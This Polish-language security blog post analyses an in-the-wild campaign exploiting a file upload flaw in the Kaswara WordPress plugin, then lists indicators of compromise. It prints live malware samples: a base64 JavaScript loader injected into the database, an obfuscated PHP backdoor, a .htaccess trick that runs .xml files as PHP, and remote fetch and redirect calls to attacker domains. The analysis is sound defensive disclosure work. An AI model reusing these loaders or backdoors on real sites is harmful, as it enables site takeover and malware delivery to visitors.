Podatna na ataki wtyczka Kaswara Modern WPBakery Page Builder jest wykorzystywana na wolności
Opublikowany: 2021-06-0820 kwietnia 2021 r. nasi przyjaciele z WPScan zgłosili poważną lukę w dodatkach Kaswara Modern VC, znanych również jako dodatki Kaswara Modern WPBakery Page Builder. Nie jest już dostępny w Codecanyon/Envato, co oznacza, że jeśli masz to uruchomione, musisz wybrać alternatywę.
Ta luka umożliwia nieuwierzytelnionym użytkownikom przesyłanie dowolnych plików do katalogu ikon wtyczki (./wp-content/uploads/kaswara/icons). To pierwszy wskaźnik kompromisu (IOC), który nasi przyjaciele z WPScan podzielili się z nami w swoim raporcie.
Możliwość przesyłania dowolnych plików na stronę internetową daje złemu graczowi pełną kontrolę nad stroną, co utrudnia określenie ostatecznego ładunku tej infekcji; w ten sposób pokażemy ci wszystko, co do tej pory znaleźliśmy (trochę poniosło nas badanie, więc możesz przejść do sekcji MKOl, jeśli nie chcesz czytać).
Wstrzykiwanie bazy danych, fałszywe aplikacje na Androida i inne backdoory
Podziękowania dla naszego przyjaciela Denisa Sinegubko z Sucuri za wskazanie, że w przypadku tego ataku wykorzystano następstwo wstrzyknięcia bazy danych.
Źli aktorzy zaktualizowaliby opcję „kaswara-customJS”, aby dodać dowolny złośliwy fragment kodu JavaScript. Oto jeden przykład, który znaleźliśmy:
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
Ten ciąg zakodowany w base64 przekłada się na:
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
I jak to zwykle bywa w przypadku tego typu skryptu, będzie on ładował szereg innych fragmentów kodu JavaScript, a ostatecznym ładunkiem będzie albo złośliwa reklama, albo zestaw exploitów. Jest to bardzo podobne do tego, co opisał tutaj Wordfence.
W tym przypadku skrypt umiera na hxxp://double-clickd[.]com/ i nie ładuje żadnej złej zawartości. Znalazłem podejrzany Javascript dzwoniący do tej strony od początku 2020 roku, a ludzie blokują ją już od 2018 roku.
Fałszywe aplikacje przesłane na stronę
40 aplikacji na Androida znalezionych na zbadanych przez nas witrynach internetowych to fałszywe wersje różnych aplikacji, takich jak AliPay, PayPal, Correos, DHL i wiele innych, które na szczęście zostały wykryte przez najpopularniejszych producentów antywirusów zgodnie z analizą VirusTotal.

Nie sprawdziłem intencji aplikacji, ale szybki przegląd uprawnień, o które prosi, może dać nam wgląd w to, co może zrobić:
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.INTERNET
- android.permission.SEND_SMS
- android.permission.CALL_PHONE
- android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
Pliki te nie są jednak od razu przesyłane przy użyciu exploita Kaswara. Po zhakowaniu witryny atakujący najpierw prześlą inne narzędzia, aby w pełni kontrolować witrynę.
Przesłane pliki
Niektóre backdoory i inne złośliwe oprogramowanie zostały również znalezione na stronach internetowych zaatakowanych przez tę lukę. W tym poście podzielę się szybką analizą tych najpopularniejszych i najciekawszych. Najpierw jednak skupię się na tym najbardziej złożonym.
Aplikacje przekierowujące i fałszywe
Fałszywe aplikacje, które znalazłem na kilku zhakowanych witrynach, nie zostały przesłane przez wykorzystanie luki Kaswara. Są one przesyłane do witryny za pomocą wielofunkcyjnego narzędzia hakerskiego, które umożliwia atakującemu przesłanie zdalnego kodu (poprzez podanie adresu URL lub ciągu) i przekierowanie użytkownika do złośliwej witryny.
Plik można łatwo zidentyfikować po obecności następującego ciągu: base64_decode('MTIz');error_reporting(0);
funkcjonować
Co ciekawe, losuje wszystko poza tym.
Złośliwe oprogramowanie znajduje się w jednej linii, co jest również interesującym IOC, jeśli szukasz tego typu anomalii kodu.

Aby ułatwić zrozumienie, rozszyfrowałem większość kodu, zmieniłem nazwy interesujących funkcji i upiększyłem kod. Szkodnik zawiera 6 różnych funkcji, a 5 z nich bazuje na wartościach przekazanych w zmiennej $_GET['ts']
. W przypadku tego dokumentu rozważmy jedną z wielu instancji, które znalazłem: c.php
.

/c.php?ts=kt
To nic nie robi i zmusi witrynę do zwrócenia błędu 500 (później w kodzie).
/c.php?ts=1
Zmienia wartość flagi $q1a
na true w celu sprawdzenia poprawności kodu i wysłania do atakującego komunikatu OK.
W tym przypadku witryna zdalna odpowiada: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Kod”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
Zapisuje plik na serwerze z kodem dostarczonym przez zawartość $_GET["v"]
tak długo, jak $_GET["p"]
jest sumą kontrolną SHA1 równą 123 (pamiętasz ten pierwszy IOC base64_decode('MTIz')
? jest ta suma kontrolna).

/c.php?ts=tt
Zapisuje 5 MB „-” na serwerze, prawdopodobnie używany do testowania, czy funkcja przesyłania będzie działać na serwerze.

/c.php?ts=dwm&h=HASH1,HASH2
Gdy złośliwe oprogramowanie otrzyma to żądanie, wykonuje test, aby sprawdzić, czy przesłane pliki zostały pomyślnie zapisane na serwerze. Ich skróty MD5 muszą być znane i wysyłane do zmiennej $_GET['h']
jako wartości oddzielone przecinkami.

/c.php?ts=dw&h=hash&l=URLs_as_CSV
Pobiera plik z szeregu witryn internetowych innych firm i zapisuje go na serwerze, nadając mu nazwę po ostatnich 12 znakach md5 pobranego pliku.
Jest to funkcja używana do przesyłania fałszywych aplikacji na serwer.
Oto przykład żądania pobrania złośliwych plików /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Przekierowywanie dostępu
Jeśli wybrano opcję kt
lub nie wybrano żadnej opcji, kod przechodzi do przekierowania, które uzyskuje się poprzez żądanie obiektu blob JSON z potrzebnymi danymi. Następnie przechodzi do przekierowania odwiedzającego za pomocą funkcji nagłówka.

Odpowiedź jest taka: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
Funkcja do wykonania żądania cURL z wymaganymi parametrami jest następująca: Nic nadzwyczajnego…
I można to przetłumaczyć na to żądanie cURL:
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
O ile mogłem przetestować, końcowy adres URL jest losowy, ale ma tę samą cechę, co fałszywa strona popularnej usługi lub aplikacji.

wp-content/uploads/kaswara/icons/16/javas.xml i wp-content/uploads/kaswara/icons/16/.htaccess
Plik XML zwykle nie jest oznaczany jako potencjalne zagrożenie, ale w tym przypadku mamy specjalnie spreparowany plik .htaccess, który zmienia sposób, w jaki widzi go serwer WWW:
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
W rzeczywistości mówi Apache, aby zrozumiał wszelkie pliki java, homes lub menu z xml, php lub pdf jako plik PHP, który należy odpowiednio przetworzyć i wykonać. Tak więc każdy z tych plików znajdujących się w tej samej strukturze katalogów co ten .htaccess będzie podejrzany.
Plik javas.xml jest taki sam, jak niektóre inne złośliwe pliki przesłane do witryny. Zauważyłem, że różnica polega na tym, że niektóre mają jedną lub dwie puste linie na końcu pliku, co sprawia, że tradycyjne mieszanie jest nieco trudniejsze.

<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
Złośliwy kod jest maskowany za pomocą ciągów znaków zakodowanych w str_rot13 i base64. Używa również wartości szesnastkowych i operacji matematycznych, aby nieco bardziej ukryć ciągi. Ostateczny ładunek jest nieznany, ponieważ utworzy funkcję opartą na wartościach żądania POST. Jednak ładunek wydaje się być taki sam za każdym razem, ponieważ opiera się na sprawdzeniu md5 przed jego utworzeniem (c42ea979ed982c02632430e9e98a66d6 to skrót md5).
Wniosek
Ponieważ jest to aktywna kampania, w momencie pisania tego posta znajdujemy coraz więcej różnych przykładów złośliwego oprogramowania umieszczanych na zaatakowanych stronach. Niektóre są tylko odmianami tego, co tutaj mamy, podczas gdy inne są wystarczająco interesujące, aby przeprowadzić głębszą analizę. Poszukaj kilku mniejszych postów, które pojawią się wkrótce, aby poznać niektóre z tych innych przykładów.
To ilustruje znaczenie aktualizacji rozszerzeń najnowszymi poprawkami bezpieczeństwa; jeśli programiści nie publikują poprawek na czas lub zostaną usunięte z repozytorium WordPress.org (lub innych rynków), zdecydowanie zalecamy znalezienie bezpieczniejszej alternatywy.
Jeśli obawiasz się złośliwego oprogramowania i luk w zabezpieczeniach swojej witryny, sprawdź funkcje bezpieczeństwa Jetpack. Jetpack Security zapewnia łatwe w użyciu, kompleksowe zabezpieczenia witryny WordPress, w tym tworzenie kopii zapasowych, skanowanie złośliwego oprogramowania i ochronę przed spamem.
Wskaźniki kompromisu
Tutaj znajdziesz pełną listę wszystkich IOC, które zidentyfikowaliśmy:
Hasz (SHA-1) | Ścieżka | Opis zagrożenia |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | Fałszywa aplikacja na Androida |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | Fałszywa aplikacja na Androida |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | Fałszywa aplikacja na Androida |
b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | Fałszywa aplikacja na Androida |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | Fałszywa aplikacja na Androida |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | Fałszywa aplikacja na Androida |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | Fałszywa aplikacja na Androida |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | Fałszywa aplikacja na Androida |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | Fałszywa aplikacja na Androida |
423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | Fałszywa aplikacja na Androida |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | Fałszywa aplikacja na Androida |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | Fałszywa aplikacja na Androida |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | Fałszywa aplikacja na Androida |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | Fałszywa aplikacja na Androida |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | Fałszywa aplikacja na Androida |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | Fałszywa aplikacja na Androida |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | Fałszywa aplikacja na Androida |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | Fałszywa aplikacja na Androida |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | Fałszywa aplikacja na Androida |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | Fałszywa aplikacja na Androida |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | Fałszywa aplikacja na Androida |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | Fałszywa aplikacja na Androida |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | Fałszywa aplikacja na Androida |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | Fałszywa aplikacja na Androida |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | Fałszywa aplikacja na Androida |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | Fałszywa aplikacja na Androida |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | Fałszywa aplikacja na Androida |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | Fałszywa aplikacja na Androida |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | Fałszywa aplikacja na Androida |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | Fałszywa aplikacja na Androida |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | Fałszywa aplikacja na Androida |
2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | Fałszywa aplikacja na Androida |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | Fałszywa aplikacja na Androida |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | Fałszywa aplikacja na Androida |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | Fałszywa aplikacja na Androida |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | Fałszywa aplikacja na Androida |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | Fałszywa aplikacja na Androida |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | Fałszywa aplikacja na Androida |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | Fałszywa aplikacja na Androida |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | Fałszywa aplikacja na Androida |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | Porzucone złośliwe oprogramowanie |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | Porzucone złośliwe oprogramowanie |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | Narzędzie do przesyłania plików PHP |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | Porzucone złośliwe oprogramowanie |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | Malware do zdalnego wykonywania kodu |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | Porzucone złośliwe oprogramowanie |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | Porzucone złośliwe oprogramowanie |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | Porzucone złośliwe oprogramowanie |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | Porzucone złośliwe oprogramowanie |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | Porzucone złośliwe oprogramowanie |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | Porzucone złośliwe oprogramowanie |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | Porzucone złośliwe oprogramowanie |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-rezerwacja.php | Porzucone złośliwe oprogramowanie |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | Malware do zdalnego wykonywania kodu |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./ikony/yrecyt.php | Porzucone złośliwe oprogramowanie |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php lub ./wp-content/uploads/xeh02b.php | Porzucone złośliwe oprogramowanie |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | Porzucone złośliwe oprogramowanie |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | Malware do zdalnego wykonywania kodu |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | Porzucone złośliwe oprogramowanie |
wp-content/uploads/kaswara/icons/16/javas.xml | Malware do zdalnego wykonywania kodu | |
– | smurfetta.ru | Złośliwa domena |
http://papass.ru | Złośliwa domena |